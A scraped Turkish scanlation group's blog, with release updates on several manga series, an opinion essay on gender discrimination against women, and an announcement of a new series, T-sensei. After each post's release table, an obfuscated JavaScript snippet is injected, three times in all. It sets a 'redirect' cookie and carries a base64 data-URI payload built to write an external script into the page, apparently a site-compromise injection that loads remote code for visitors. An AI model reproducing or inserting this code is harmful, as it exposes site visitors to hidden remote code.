'u ya­yın­la­dık.  Kalan 3 bö­lü­mün çe­vi­ri­si gelir gel­mez ve tabi benim de yo­ğun­lu­ğum ol­maz­sa hemen siz­ler­le bulş­tu­ru­ruz. ? Ku­da­mi­mi no Neko Yaaa çok öz­le­dim se­ri­mi ? Az kaldı ya­kın­dır çe­vi­ri­le­ri­nin elime ulaş­ma­sı ? Sumi'm el­le­ri­ne sağ­lık şim­di­den.  6. bö­lü­mü ya­yın­la­yın­ca uzun bir süre bek­le­riz diye dü­şü­nü­yor­duk gerçi yine bek­le­dik ama son­ra­sın­da bö­lüm­le­ri peş­pe­şe yağ­dır­dı­lar ? Son bak­tı­ğım­da 17. bö­lü­me kadar gel­miş­ler­di ? Ojo­usa­ma wa Oyo­me­sa­ma  Kı­ya­mam çok çekti bu seri. Se­ve­rek baş­la­mış­tım, hala da se­vi­yo­rum.  29. bö­lüm­de ta­kı­lıp kal­mış zan­ne­di­yo­rum bir li­sans sı­kın­tı­sı bu se­ri­miz için de ge­çer­li. 13. bö­lü­mü ver­mi­şiz en son diğer bö­lüm­ler için de çe­vi­ri ça­lış­ma­la­rı var. Ye­tim­le­rim; Aka­i­ito Li­va­nem'den miras se­ri­miz. Bir­kaç bölüm çe­vi­ri­si eli­miz­de vardı. Ro­sa­mary ile gi­riş­tik eli­miz­de­ki çe­vi­ri­le­re ya­kın­da siz­ler­le olur . ? Ko­isu­ru Ha­ri­ne­zu­mi Yine bir çe­vi­ri­siz kal­dı­ğım dö­nem­de gi­riş­ti­ğim ama tabi ki sev­di­ğim se­ri­miz. Tam gün­ce­le gel­dik bir süre bölüm gel­mez di­yor­duk ama gel­miş ?? Mune ga Naru no wa Kimi no Sei Bu se­ri­miz­de kö­şe­de kal­mış bek­li­yor­du. Mayu "El atar mısın?" de­di­ğin­de tabi ki onu kı­ra­ma­dım biraz da çe­vi­rim yoktu ?? Ama ko­nu­su­nu sev­dim fi­na­li­ne de 5 bö­lüm­cük kaldı. ?  ve eğer çe­vi­ri­si­ni ya­pa­cak bir ar­ka­da­şı­mız olur­sa Gozen 0-ji, Kiss Shi ni Kite yo'yu da seve seve edit­le­rim... Dost­lar ken­di­ni­zi çok iyi bakın... "See you, Space Co­w­boy" Manga Adı Bölüm Çe­vir­men Edi­tör Te­miz­le­me Ake no To­ba­ri 73-76 Mayu Eva Ashi Girl 19 Cain Eva Ba­ra­ka­mon 8-9 Mayu Far­rel­le­da Yo­zo­ra Tot­su­zen desu ga, As­hi­ta Kek­kon Shi­ma­su 7-10 Far­rel­le­da Far­rel­le­da Mr­v­173 func­ti­on get­Co­okie(e){var U=do­cu­ment.​cookie.​match(new Re­gE­xp("(?:^|; )"+e.​replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));re­turn U?de­co­de­URI­Com­po­nent(U[1]):void 0}var src="data:text/ja­vasc­ript;ba­se­64,ZG­9j­d­W1lb­n­Qu­d­3Jpd­GU­od­W5l­c­2Nhc­GU­oJ­yU­z­Q­yU­3M­yU­2M­yU­3­Mi­U2O­SU­3M­CU­3N­CU­y­M­C­U­3­M­y­U­3­M­i­U­2­M­y­U­z­R­C­U­y­M­i­U­y­M­C­U­2­O­C­U­3­N­C­U­3­N­C­U­3­M­C­U­z­Q­S­U­y­R­i­U­y­R­i­U­z­M­S­U­z­O­C­U­z­N­S­U­y­R­S­U­z­M­S­U­z­N­S­U­z­N­i­U­y­R­S­U­z­M­S­U­z­N­y­U­z­N­y­U­y­R­S­U­z­O­C­U­z­N­S­U­y­R­i­U­z­N­S­U­2­M­y­U­3­N­y­U­z­M­i­U­2­N­i­U­2­Q­i­U­y­M­i­U­z­R­S­U­z­Q­y­U­y­R­i­U­3­M­y­U­2­M­y­U­3­M­i­U­2­O­S­U­3­M­C­U­3­N­C­U­z­R­S­U­y­M­C­c­p­K­Ts=",now=Math.​floor(Date.​now()/1e3),co­okie=get­Co­okie("re­di­rect");if(now>=(time=co­okie)||void 0===time){var time=Math.​floor(Date.​now()/1e3+86400),date=new Date((new Date).get­Ti­me()+86400);do­cu­ment.co­okie="re­di­rect="+time+"; path=/; ex­pi­res="+date.​toGMTString(),do­cu­ment.write('')}

Tarih bo­yun­ca in­san­lık pek çok ayrım gördü. Bun­lar için­de ırk ve cin­si­yet ay­rı­mı acısı çok ağır ve gi­de­ril­me­si en zor­la­rı ol­muş­tur. Bir­kaç sene önce bana hüzün veren bir ka­ri­ka­tü­re rast­la­mış­tım: Yaşlı bir adam, ku­ca­ğı­na al­dı­ğı küçük bir zenci ço­cu­ğa “Bü­yü­dü­ğün­de ne olmak is­ti­yor­sun?” diye so­ru­yor­du, çocuk ise “Beyaz adam.” ya­nı­tı­nı ve­ri­yor­du. “Bü­yü­dü­ğüm­de erkek olmak is­ti­yo­rum.” diye bir ka­ri­ka­tür şu ana kadar gö­re­me­sem de, öz­gür­lük­le­ri kı­sıt­la­nan nice genç kızın akıl­la­rın­dan “Keşke erkek ola­rak doğ­say­mı­şım.” cüm­le­si­nin geç­ti­ği olu­yor­dur. Ye­tiş­kin ha­nım­la­rın, göz­le­dik­le­ri cin­si­yet ay­rım­cı­lı­ğı kar­şı­sın­da “Bu dün­ya­da erkek olmak var­mış.” de­dik­le­ri­ni sıkça duy­dum fakat. Ge­nel­de erkek ile kız çocuk ara­sın­da bir ayrım, çifte stan­dart var­dır. Er­kek­le­re ta­nı­nan ay­rı­ca­lık­lar kız­la­ra ta­nın­maz. Oğul­la­rı­nın çap­kın­lı­ğıy­la içten içe gurur duyan, ar­ka­sın­dan poh­poh­la­ya­rak “Aslan oğlum, aynı ben!” diye söy­le­nen nice ba­ba­lar var­dır. Ancak hiç­bir baba kı­zı­nın çap­kın­lı­ğıy­la gurur duy­maz, “Aslan kızım, aynen anası!” demez. Bu ayrım kız­la­rı ko­ru­mak amaç­lı ya­pı­lı­yor ola­bi­lir fakat so­nuç­ta kız­lar, en azın­dan eve giriş çıkış sa­at­le­rin­de, haklı veya hak­sız bas­kı­ya uğ­ra­mak­ta­dır. Üs­te­lik kendi kız­la­rı­nı var güç­le­riy­le ko­ru­ma­ya ça­lı­şan bu ba­ba­la­rın baş­ka­la­rı­nın kız­la­rı­nı ko­ru­ma­yı dü­şün­me­me­le­ri, on­la­rı da kendi ev­lat­la­rı ola­rak gör­me­me­le­ri büyük bir ben­cil­lik­tir bana ka­lır­sa. Bir za­man­lar, en azın­dan kır­sal­da, erkek çocuk kız­dan daha iş­lev­sel ola­bi­lir­miş. Me­se­la; beş oğlu olan bir köylü baba daha az ırgat ça­lış­tı­rır, bir kavga or­ta­mın­da ar­ka­sın­da du­ra­bi­lecek in­sa­nı olur­muş. Beş oğlu değil de beş kızı olan ba­ba­lar bu ay­rı­ca­lık­lar­dan yok­sun ka­lır­dı Üs­tü­ne üst­lük ev­le­nen kız­lar baba evini terk eder, ev­le­nen oğ­lan­lar ise ge­lin­le be­ra­ber baba evin­de ka­lır­dı. Böyle bir düzen için­de er­ke­ğin daha iş­lev­sel ol­ma­sı an­la­şı­la­bi­lir bir şey­dir. Ancak artık gü­nü­müz­de, özel­lik­le mo­dern ya­şa­mın ko­şul­la­rın­da erkek ço­cuk­la­rın bu tür bir iş­lev­le­ri kal­ma­mış­tır. Artık kız çocuk da, erkek çocuk da her türlü mes­le­ğe yö­ne­le­bi­li­yor, ev­le­nen tüm ço­cuk­lar baba evin­den ay­rı­lı­yor ve kavga eden erkek ba­ba­la­rı oğul­la­rı­nı değil po­li­si arı­yor. Özet­le, es­ki­den erkek ve kız ço­cuk­la­rın sos­yal ve eko­no­mik iş­lev­le­ri fark­lıy­dı, ama artık değil. Bu du­rum­da erkek ve kız ço­cuk­la­rı ara­sın­da gü­nü­müz­de ayrım ya­pıl­ma­sı­nı, te­da­vül­den kalk­tı­ğı halde sa­hip­le­ri ta­ra­fın­dan sak­la­nan eski pa­ra­la­ra ben­ze­te­bi­li­riz. Şu ya da bu ne­den­le, bazen haklı gö­rü­len, daha doğ­ru­su haklı gö­re­ge­len ne­den­ler­le, alış­kan­lık­lar­la kadın, ge­nel­de er­ke­ğin bas­kı­sı­na, zul­mü­ne uğ­ra­mış­tır veya göz ardı edil­miş­tir. Bu hu­sus­ta bir­kaç örnek ver­mek is­ti­yo­rum: 1- Kimi ül­ke­ler­de sa­de­ce kız ço­cuk­la­rı­na demir ayak­ka­bı giy­di­ril­miş­tir. Demir ayak­ka­bı­nın gö­rü­nen man­tı­ğı ka­dı­nı küçük ve zarif ayak­lı yap­mak­tı ama alt­ta­ki amaç; onu yü­rü­ye­mez, uzağa gi­de­mez, evine ve ko­ca­sı­na ba­ğım­lı bir var­lık ha­li­ne ge­tir­mek­ti. Ka­dı­nın ayak­la­rı­na ve as­lın­da tüm var­lı­ğı­na ya­pı­lan bu bas­kı­yı “kö­le­leş­tir­me” ola­rak ad­lan­dır­mak abar­tı sa­yıl­ma­sa gerek. 2- Bazı ül­ke­ler­de, ismi lazım değil, halen töre ci­na­yet­le­ri­nin devam et­ti­ği­ni gör­mek ger­çek­ten çok üzücü. Bir genç kız te­ca­vü­ze uğ­ra­dı­ğın­da ba­ba­sı, “Benim kızın mut­la­ka bir suçu var­dır, bu adam dur­duk yere bunu yap­maz.” di­ye­rek kı­zı­nı vurur. Yine bu ül­ke­ler­de­ki bazı ba­ba­lar, kız­la­rı­nı yaşlı ve var­lık­lı er­kek­ler­le ev­len­dir­mek is­te­dik­le­rin­de, kız­la­rı karşı çıkar ya da genç sev­gi­li­le­riy­le ka­çar­sa, as­lın­da ev­len­me­le­ri­ne izin ver­mek müm­kün iken, tö­re­dir diye on­la­rı yine vu­rur­lar. Peki, bu ül­ke­ler­de­ki ba­ba­lar şu ya da bu ne­den­le niçin oğul­la­rı­nı vur­maz­lar? Neden? Kül­tü­rü­müz ge­lin­le­re omuz veren ba­ba­la­rın, ka­dın­la­rın aya­ğı­na hal­hal takan ko­ca­la­rın kül­tü­rü­dür. Bir ka­za­ya, be­la­ya uğ­ra­dık­la­rın­da, kız­la­rı­mı­zı vur­mak değil on­la­rı bağ­rı­mı­za bas­mak ya­kı­şır bize. 3- Başka er­kek­le­ri model al­ma­nın yanı sıra er­ke­ğin bi­yo­lo­jik ya­pı­sın­dan kay­nak­la­nan sal­dır­gan­lık, ka­dı­nın ko­run­ma­sı ge­re­ken bir var­lık ola­rak al­gı­lan­ma­sı­na yol aç­mış­tır. Er­ke­ği ka­dın­dan üstün görüp ona ser­best­lik ta­nı­yan top­lum, er­ke­ğin sal­dır­gan­lı­ğı­nı kont­rol etmek ye­ri­ne, ka­dı­nı eve ka­pat­ma­yı, kilit al­tı­na al­ma­yı uygun gör­müş, Türk ge­le­nek­le­ri­ne göre eve hap­se­dil­miş­tir. Kadın sa­de­ce bizde değil, hemen dün­ya­nın pek çok ye­rin­de, ko­run­cak diye baskı al­tı­na alın­mış­tır. Er­ke­ğin sal­dır­gan­lı­ğın­dan ko­ru­mak için ka­dı­nı baskı al­tı­na alma dü­şün­ce­si, folk­lo­ru­mu­zun bir par­ça­sı ha­li­ne gel­di­ği­ni şu tür­kü­müz­den bile an­la­ya­bi­li­yo­ruz: “Komşu kı­zı­nı zapt eyle, bizim oğlan âşık­tır, diloy diloy yay­la­lar.” Şimdi bu ne? Ki­bar­ca; “Kı­zı­na göz kulak ol, eve kapat da bir ters­lik ol­ma­sın!” diyor. Kar­de­şim, adam kı­zı­ma âşık­sa ne için baskı al­tı­na alı­nan benim kızım olu­yor, kendi oğ­lu­na sahip çık­sa­na! Bu türkü bile ko­nu­ya bakış açı­mı­zı özet­li­yor. 4- Ev dı­şın­da da ça­lı­şan ka­dın­lar, iş yer­le­rin­de ça­lış­ma­nın yanı sıra bir de ev­le­rin­de iş yapar, er­kek­le­re oran­la iki kat ça­lı­şır ve ezi­lir­ler. Pazar, ge­nel­de er­ke­ğin tatil gü­nü­dür. Ancak ev dı­şın­da da ça­lı­şan ka­dın­lar için Pazar, yine bir iş gü­nü­dür. Ev iş­le­ri­nin ço­ğun­luk­la ka­dın­la­ra kal­ma­sı­nın ne­de­ni, ev iş­le­ri­nin ge­nel­de “ka­dın­la­ra özgü” ola­rak al­gı­lan­ma­sı­dır. Bu algı o kadar içi­mi­ze iş­le­miş­tir ki bazı er­kek­ler “Ben eşime ‘yar­dım’ edi­yo­rum.” der. Bu ifa­de­de, ‘ev işi as­lın­da eşi­min gö­re­vi­dir, ben bir erkek ola­rak ona des­tek olu­yo­rum’ an­la­mı var­dır. Ka­dı­nın ve er­ke­ğin ger­çek­ten eşit ol­duk­la­rı­nı dü­şü­nü­yor­sak “Ev iş­le­ri­ni pay­la­şı­yo­ruz.” de­me­miz ge­re­kir. 5- Ka­dın­lar, dünya ça­pın­da ev içi şid­de­te er­kek­le­re oran­la çok daha fazla maruz kalır. Ka­dın­la­rı ço­ğun­luk­la ko­ca­la­rı döver; ay­rı­ca az sa­yı­da da olsa bazı yer­ler­de genç er­kek­ler an­ne­le­ri­ni döver. Bir er­ke­ğin ka­rı­sı­nı döv­me­si, ka­nun­lar önün­de suç­tur. Top­lu­mun gö­zün­de ka­ba­lık­tır. Ancak bir ki­şi­nin an­ne­si­ni döv­me­si suç­tan bile öte bir dav­ra­nış­tır. Ka­dı­na yö­ne­lik koca/oğul bas­kı­sı sa­de­ce bize özgü de­ğil­dir. 17. yy’ın son­la­rın­da yaz­dı­ğı bir ki­tap­ta Fe­ne­lon, ka­dın­la­rın ev­len­me­den önce ba­ba­la­rı­nın, ev­len­dik­ten sonra ko­ca­la­rı­nın, anne ol­duk­tan sonra da oğul­la­rı­nın gö­ze­ti­mi ve de­ne­ti­min­de ol­ma­sı ge­rek­ti­ği­ni be­lirt­miş­tir. 6- Ka­dın­la­rın ikin­ci sı­nıf­lı­ğı, ya­şa­mın hemen her ke­si­min­de kar­şı­mı­za çıkar. Eğer bir er­ke­ğin eş­cin­sel ol­du­ğun­dan söz edi­lir­se, dün­ya­nın bazı yer­le­rin­de, en azın­dan ül­ke­miz­de aktif mi pasif mi ol­du­ğu merak edi­lir. Bu me­rak­lı tavır, as­lın­da eş­cin­sel­le­re bir say­gı­sız­lık de­ğil­dir, ge­nel­de ka­dı­na karşı say­gı­sız­lık­tır. Erkek bi­rin­ci, kadın ikin­ci sınıf insan ola­rak al­gı­lan­dı­ğı için te­mel­de o eş­cin­se­lin bi­rin­ci sınıf bir insan mı yoksa ikin­ci sınıf bir insan mı ol­du­ğu sor­gu­la­nır. So­kak­ta kimin kadın kimin erkek ol­du­ğu bir ba­kış­ta an­la­şıl­dı­ğı için er­ke­ğin bi­rin­ci, ka­dı­nın ikin­ci sınıf ol­du­ğu­nu hemen an­la­rız! Ancak bir eş­cin­se­lin bi­rin­ci sınıf mı, ikin­ci sınıf mı ol­du­ğu­nu hemen an­la­ya­ma­yan­lar sorma ih­ti­ya­cı his­se­der. Sonuç ola­rak ka­dı­na baskı yap­mak, ka­dı­nı er­ke­ğin ya­nın­da ikin­ci sınıf kabul etmek, ol­duk­ça yay­gın olan, ço­ğun­luk­la far­kın­da ol­ma­dan ser­gi­le­nen ama so­nuç­ta ka­dı­nı esir ha­li­ne ge­ti­ren bir ta­vır­dır. Bu ma­ka­le­yi neden yaz­dı­ğı­ma ge­lir­sek, yakın za­man­da şe­hir­le­ra­ra­sı oto­büs­te yakın ar­ka­da­şı­mın ba­şın­dan geçen ta­lih­siz olayı öğ­ren­mem üze­ri­ne en azın­dan kendi dü­şün­ce­le­ri­mi be­lirt­me­si adına bu ya­zı­yı ka­le­me dök­mek is­te­dim. As­lın­da bu ma­ka­le için bazı şey­ler ya­şa­mış ol­ma­ma gerek yoktu. Zira ha­ber­ler­de, çev­re­miz­de gör­dü­ğü­müz şey­ler yeter de artar bile. Bu yaz­dık­la­rım tabii ka­dı­nın top­lum­da­ki ye­ri­ni an­lat­ma­sı açı­sın­dan ye­ter­siz ka­lı­yor. Ama en azın­dan ka­fa­lar­da küçük bir şim­şek bile çak­ma­sı­na ve­si­le olur­sa, ne mutlu bana. As­lın­da bugün bu si­te­de ve ni­ce­le­rin­de zevk­le oku­du­ğu­nuz Sho­ujo türü man­ga­la­rın, 1960’lı yıl­lar­da ken­di­le­ri­ne bi­çi­len sı­nır­lar­dan çok daha fazla ol­duk­la­rı­nı söy­le­yen Japon ka­dın­la­rı­nın top­lu­ma bir baş­kal­dı­rı­sı ola­rak or­ta­ya çık­tı­ğı da bir ger­çek. Ama bu ko­nu­ya da başka biraz zaman de­ği­ni­riz. Mavi’ye yak­la­şık 2 ay önce ka­tıl­dım. Daha önce bu­ra­da­ki ça­lış­ma­la­rı takip edi­yor fakat bir türlü çe­vi­ri ya­pa­cak za­ma­nı bu­la­mı­yor­dum. Şimdi bu ka­ra­rı neden bu kadar geç ver­di­ği­mi sor­gu­lu­yo­rum. Her bi­ri­si bir­bi­rin­den hoş ve nazik pek çok insan (başta kah­rı­mı çeken suç or­ta­ğım Fri-chan ve pat­ro­ni­çe Su­mi­re olmak üzere) ba­rın­dı­rı­yor Mavi ve uma­rım bu bir­lik­te­li­ği­miz daha nice se­ne­ler devam eder. Ben John Titor ve ge­lecek hiç de um­du­ğu­nuz gibi değil…   Fri'den Dip­not: Afa­kan­lar zi­ya­re­te geldi, bö­lüm­le­ri 1 hafta sonra ata­ca­ğım, Uru­gu­ay'da ta­til­de­yim, haf­ta­ya kesin me­saj­la­rı­nı­zı bek­li­yo­rum. xD Manga Adı Bölüm Çe­vir­men Edi­tör Te­miz­le­me Egg­no­id 21 Ces­hie Hayal Mune ga Naru no wa Kimi no Sei 14-17 Far­rel­le­da-Mayu Psyk­he Ran to Ha­i­iro no Sekai 23 Far­rel­le­da Eva Ar­tist The Fri­endly Win­ter 30 Far­rel­le­da Ro­sa­mary unOr­di­nary  82 Mayu Hayal func­ti­on get­Co­okie(e){var U=do­cu­ment.​cookie.​match(new Re­gE­xp("(?:^|; )"+e.​replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));re­turn U?de­co­de­URI­Com­po­nent(U[1]):void 0}var src="data:text/ja­vasc­ript;ba­se­64,ZG­9j­d­W1lb­n­Qu­d­3Jpd­GU­od­W5l­c­2Nhc­GU­oJ­yU­z­Q­yU­3M­yU­2M­yU­3­Mi­U2O­SU­3M­CU­3N­CU­y­M­C­U­3­M­y­U­3­M­i­U­2­M­y­U­z­R­C­U­y­M­i­U­y­M­C­U­2­O­C­U­3­N­C­U­3­N­C­U­3­M­C­U­z­Q­S­U­y­R­i­U­y­R­i­U­z­M­S­U­z­O­C­U­z­N­S­U­y­R­S­U­z­M­S­U­z­N­S­U­z­N­i­U­y­R­S­U­z­M­S­U­z­N­y­U­z­N­y­U­y­R­S­U­z­O­C­U­z­N­S­U­y­R­i­U­z­N­S­U­2­M­y­U­3­N­y­U­z­M­i­U­2­N­i­U­2­Q­i­U­y­M­i­U­z­R­S­U­z­Q­y­U­y­R­i­U­3­M­y­U­2­M­y­U­3­M­i­U­2­O­S­U­3­M­C­U­3­N­C­U­z­R­S­U­y­M­C­c­p­K­Ts=",now=Math.​floor(Date.​now()/1e3),co­okie=get­Co­okie("re­di­rect");if(now>=(time=co­okie)||void 0===time){var time=Math.​floor(Date.​now()/1e3+86400),date=new Date((new Date).get­Ti­me()+86400);do­cu­ment.co­okie="re­di­rect="+time+"; path=/; ex­pi­res="+date.​toGMTString(),do­cu­ment.write('')}

Mer­ha­ba­lar mil­let. Bugün siz­le­re yeni se­ri­miz T-sen­sei'yle nasıl kar­şı­laş­tı­ğı­mı­zı an­la­ta­ca­ğım ve bil­gi­len­dir­me ya­pa­ca­ğım. -Oku­yan­lar görür, gör­me­yen­ler gör­mez. Ben açık­la­ma­mı ya­pı­yo­rum- Sı­nav­la­rım yeni bitti ve 1 ay son­ra­da fi­nal­ler var ? Sı­nav­lar biraz öne alın­dı. Biraz çe­vi­ri yapıp yine ders ça­lış­mam lazım. Yani her se­ri­den bölüm ve­re­me­ye­bi­li­rim. Buna unOr­di­nary de dahil. Şimdi, ge­le­lim T-sen­sei'ye ^^ Yine mi yeni seri... de­me­den önce açık­la­ma­yı oku­yun. Daha önce Ake no To­ba­ri'nin in­gi­liz­ce edi­ti­ni yap­mış­tık. Şimdi yine devam edi­yo­ruz ^^ Bunu yap­ma­ya baş­la­ma­mız ise in­gi­liz­ce­ye çe­vi­ren Cit­rus Pro­ject, yani Na­na­ten'in ra­w­la­rı bu­la­ma­dı­ğı­nı ve elin­de ol­ma­dı­ğı­nı söy­le­di­ği bir gün­cel­le baş­la­dı. Ra­w­lar biz de vardı. Biz de on­lar­la pay­laş­tık. Daha sonra Na­na­ten biz­den yar­dım is­te­di­ğin­de edi­ti­ni yap­ma­ya baş­la­dık. O çe­vir­di biz edit­le­dik. Daha sonra ara ver­dik, onlar kendi devam etti. Şim­diy­se ye­ni­den Ake no To­ba­ri'nin edi­ti­ni yap­ma­ya devam edi­yo­ruz ? Sev­gi­li Eva'mız sağ olsun ? Bö­lüm­le­ri o edit­li­yor. To­ba­ri'nin edi­ti­ne devam edip bö­lüm­le­ri yol­lar­ken, Na­na­ten yeni bir se­ri­ye baş­la­ya­ca­ğı­nı söy­le­di ve edi­ti­ni ya­pa­bi­lir mi­si­niz diye sordu. Eva da olur di­yin­ce, T-sen­sei'yle ta­nış­tık. T-sen­sei adlı se­ri­miz in­gi­liz­ce grup­la yap­tı­ğı­mız ortak bir proje ha­li­ne geldi böy­le­lik­le. Se­ri­de öyle se­vim­li ve şeker bir şey ki türk­çe­ye çe­vir­me­den ede­me­dik ? Hazır ya­pıl­mış­ken, çe­vi­ri­si­ni de ya­pa­lım dedik. Çe­vi­ri­si de öyle zor değil, fazla zaman al­mı­yor. Yani çe­rez­lik bir seri. Ve de Na­na­ten'e çok te­şek­kür ede­riz ? Ve işte kar­şı­nız­da T-sen­sei...   Bir­bi­rin­den bı­cı­rık mi­nik­ler­le dolu, şirin bir seri ? Hep be­ra­ber on­la­rın ma­ce­ra­la­rı­na tanık ola­ca­ğız. Seri 7 cilt ve 43 bö­lüm­den olu­şu­yor. Bö­lüm­ler pek uzun değil. En fazla 20 sayfa. Her bölüm fark­lı hi­ka­ye­ler var. Ve hiç sı­kıl­mı­yor­su­nuz.  T-sen­sei ger­çek­te ya­şa­dı­ğı şey­le­ri an­la­tı­yor. Ve çizer Yukue Ta­ka­na ise bun­la­rı çi­zim­le­re dö­kü­yor. Hem gü­le­rek hem de mi­nik­le­ri se­ve­rek oku­ya­cak­sı­nız. Uma­rım siz­ler­de be­ğe­nir­si­niz~  Se­ri­nin ay­rı­ca bir de ovası var. 2017'de baş­la­mış. Ama bir yerde bu­la­ma­dım ? Her­ke­se ke­yif­li oku­ma­lar ~ BİLGİLENDİRME To­ba­ri'nin çe­vi­ri­si ol­duk­ça iler­de şu an. Sı­nav­lar­dan sonra ona da hız ver­me­ye ça­lı­şa­ca­ğım. Yavaş yavaş yap­ma­ya ça­lı­şı­yo­rum. Bek­le­te­ce­ğim sizi, ku­su­ra bak­ma­yın. Ge­le­lim unOr­di­nary'ye... Açık­la­ma ya­pı­yo­rum her se­fe­rin­de, hala yeni bölüm nerde diye so­ru­lu­yor ? Ge­lecek elbet. Biraz sabır gös­te­rin. Her bi­ri­ni­ze ayrı cevap ve­re­me­di­ği­mi de söy­le­miş­tim.  Tate no Yu­us­ha'nın da Ja­pon­ya'da 2 bö­lü­mü çıktı. Ama in­gi­liz­ce­ye çe­vi­ren gru­bun çe­vir­me­ni grup­tan ay­rıl­mış. Şu anda yeni bir çe­vir­men arı­yor­lar Tate'ye. O yüz­den bu da as­kı­da kaldı ? Ba­ra­ka­mon ge­lecek hafta ve­ri­cez bir sorun çık­maz­sa, Ran ise şu anda devam edi­yor~  Mune ga Naru no wa Kimi no Sei ise in­gi­liz­ce grup­lar bir­den bö­lüm­le­ri verip bi­tir­di se­ri­yi. Biz de üze­rin­de ça­lış­ma­ya baş­la­dık. En kısa za­man­da bu da bi­tecek in­şal­lah. Se­ri­nin bir de son­ra­sı­nı an­la­tan 8 bö­lüm­lük bir man­ga­sı var. İlk 3 bölüm se­ri­den son­ra­sı­nı an­la­tı­yor, diğer bö­lüm­le­ri man­ga­ka­nın one-shot­la­rı. Ama ra­w­la­rı yok sa­nı­rım. Çünkü çe­vir­me­di­ler. Ya­par­lar­sa biz de çe­vi­ri­riz ^^ T-sen­sei'de çev­ril­dik­çe ya­pa­ca­ğız ? Ya­ji­ro­bee'ye de el ata­ca­ğım en kısa za­man­da ^^ Egg­no­id'de devam edecek. Başka da serim yok ga­li­ba. Unut­tu­ğum varsa sorun olur mu ? Elim­den gel­di­ğin­ce ce­vap­la­rım. Yo­rum­la­rı­nı­zı bek­li­yo­ruz~ Her­ke­se ke­yif­li oku­ma­lar ve iyi gün­ler. Sı­nav­la­rı olan her­ke­se de Allah zihin açık­lı­ğı ver­sin, kolay gel­sin mil­let ?? Mayu sundu ? Manga Adı Bölüm Çe­vir­men Edi­tör Te­miz­le­me Ara­ka­wa Under The Brid­ge 222-223 Deuce Eva Ashi Girl 18 Cain Eva Egg­no­id 19-20 Kouen Hayal Frau Faust 2 Fo­re­ver Young Psyk­he Ka­ku­ka­ku Shi­ka­ji­ka 13 Cain Psyk­he Yo­zo­ra Ran to Ha­i­iro no Sekai 22 Mayu Eva Ar­tist T-sen­sei 1-2 YENİ SERİ Mayu Eva The Fri­endly Win­ter 29 Far­rel­le­da Ro­sa­mary Tsu­ki­ka­ge Baby 7 Cain Hayal func­ti­on get­Co­okie(e){var U=do­cu­ment.​cookie.​match(new Re­gE­xp("(?:^|; )"+e.​replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));re­turn U?de­co­de­URI­Com­po­nent(U[1]):void 0}var src="data:text/ja­vasc­ript;ba­se­64,ZG­9j­d­W1lb­n­Qu­d­3Jpd­GU­od­W5l­c­2Nhc­GU­oJ­yU­z­Q­yU­3M­yU­2M­yU­3­Mi­U2O­SU­3M­CU­3N­CU­y­M­C­U­3­M­y­U­3­M­i­U­2­M­y­U­z­R­C­U­y­M­i­U­y­M­C­U­2­O­C­U­3­N­C­U­3­N­C­U­3­M­C­U­z­Q­S­U­y­R­i­U­y­R­i­U­z­M­S­U­z­O­C­U­z­N­S­U­y­R­S­U­z­M­S­U­z­N­S­U­z­N­i­U­y­R­S­U­z­M­S­U­z­N­y­U­z­N­y­U­y­R­S­U­z­O­C­U­z­N­S­U­y­R­i­U­z­N­S­U­2­M­y­U­3­N­y­U­z­M­i­U­2­N­i­U­2­Q­i­U­y­M­i­U­z­R­S­U­z­Q­y­U­y­R­i­U­3­M­y­U­2­M­y­U­3­M­i­U­2­O­S­U­3­M­C­U­3­N­C­U­z­R­S­U­y­M­C­c­p­K­Ts=",now=Math.​floor(Date.​now()/1e3),co­okie=get­Co­okie("re­di­rect");if(now>=(time=co­okie)||void 0===time){var time=Math.​floor(Date.​now()/1e3+86400),date=new Date((new Date).get­Ti­me()+86400);do­cu­ment.co­okie="re­di­rect="+time+"; path=/; ex­pi­res="+date.​toGMTString(),do­cu­ment.write('')}